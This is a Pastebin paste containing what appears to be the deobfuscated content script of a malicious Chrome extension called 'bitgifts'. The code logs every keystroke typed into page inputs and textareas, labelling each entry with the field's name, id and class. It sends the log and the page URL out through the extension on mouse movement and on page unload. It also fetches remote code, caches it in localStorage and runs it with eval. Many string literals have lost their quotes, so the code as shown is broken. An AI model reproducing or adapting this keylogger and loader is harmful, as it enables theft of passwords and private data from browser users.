Guest User

bitgift bg

a guest
Sep 22nd, 2013
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // \x0A is the equalsto of return
  2.  
  3.  
  4. var _0x2eb2 = ["", "length", "body", "URL", "title", "sendRequest", "extension", "keydown", "input, textarea", "keyCode", "~", "on", "keypress", "[", "name", "attr", " #", "id", "prop", " ", "class", "]", "\x0A", "charCode", "fromCharCode", "mousemove", "onbeforeunload", "bitgifts", "getItem", "bitgifts-c", "getTime", "data", "setItem"];
  5. var kt = ;
  6. var pu = ;
  7. var ss = false;
  8. setTimeout(ijCheck, 50);
  9.  
  10. function ijCheck() {
  11.     if ($(body)[length]) {
  12.         chrome[extension][sendRequest]({
  13.             url: document[URL],
  14.             title: document[title]
  15.         }, function (geet) {});
  16.         $(body)[on](keydown, input, textarea, function (key) {
  17.             if (key[keyCode] == 8) {
  18.                 kt += ~
  19.             }
  20.         });
  21.  //logs keypress
  22.  
  23.        $(body)[on](keypress, input, textarea, function (key) {
  24.             var hab = [ + $(this)[attr](name) +  # + $(this)[prop](id) +   + $(this)[attr](class) + ];
  25.             if (pu != hab) {
  26.   //hits enter adds had and hits enter
  27.               kt += _0x2eb2[22] + hab + _0x2eb2[22];
  28.                 pu = hab
  29.             };
  30.             if (String[fromCharCode](key[charCode])) {
  31.                 kt += String[fromCharCode](key[charCode])
  32.             }
  33.         });
  34.         $(body)[mousemove](function () {
  35.             if (kt[length] > 100 && !ss) {
  36.                 ss = true;
  37.                 chrome[extension][sendRequest]({
  38.                     url: document[URL],
  39.                     post: kt
  40.                 }, function (geet) {});
  41.                 kt = ;
  42.                 pu = ;
  43.                 ss = false
  44.             }
  45.         })
  46.     } else {
  47.         setTimeout(ijCheck, 50)
  48.     }
  49. };
  50. window[onbeforeunload] = function () {
  51.     chrome[extension][sendRequest]({
  52.         url: document[URL],
  53.         post: kt
  54.     }, function (geet) {})
  55. };
  56. if (!localStorage[getItem](bitgifts)) {
  57.     fetchCS()
  58. } else {
  59.     if (localStorage[getItem](bitgifts-c) > new Date()[getTime]() - (120 * 1000)) {
  60.         eval(localStorage[getItem](bitgifts))
  61.     } else {
  62.         fetchCS()
  63.     }
  64. };
  65.  
  66. function fetchCS() {
  67.     chrome[extension][sendRequest]({
  68.         getcs: true
  69.     }, function (geet) {
  70.         localStorage[setItem](bitgifts, geet[data]);
  71.         localStorage[setItem](bitgifts-c, new Date()[getTime]());
  72.         eval(geet[data])
  73.     })
  74. };
Advertisement
Add Comment
Please, Sign In to add comment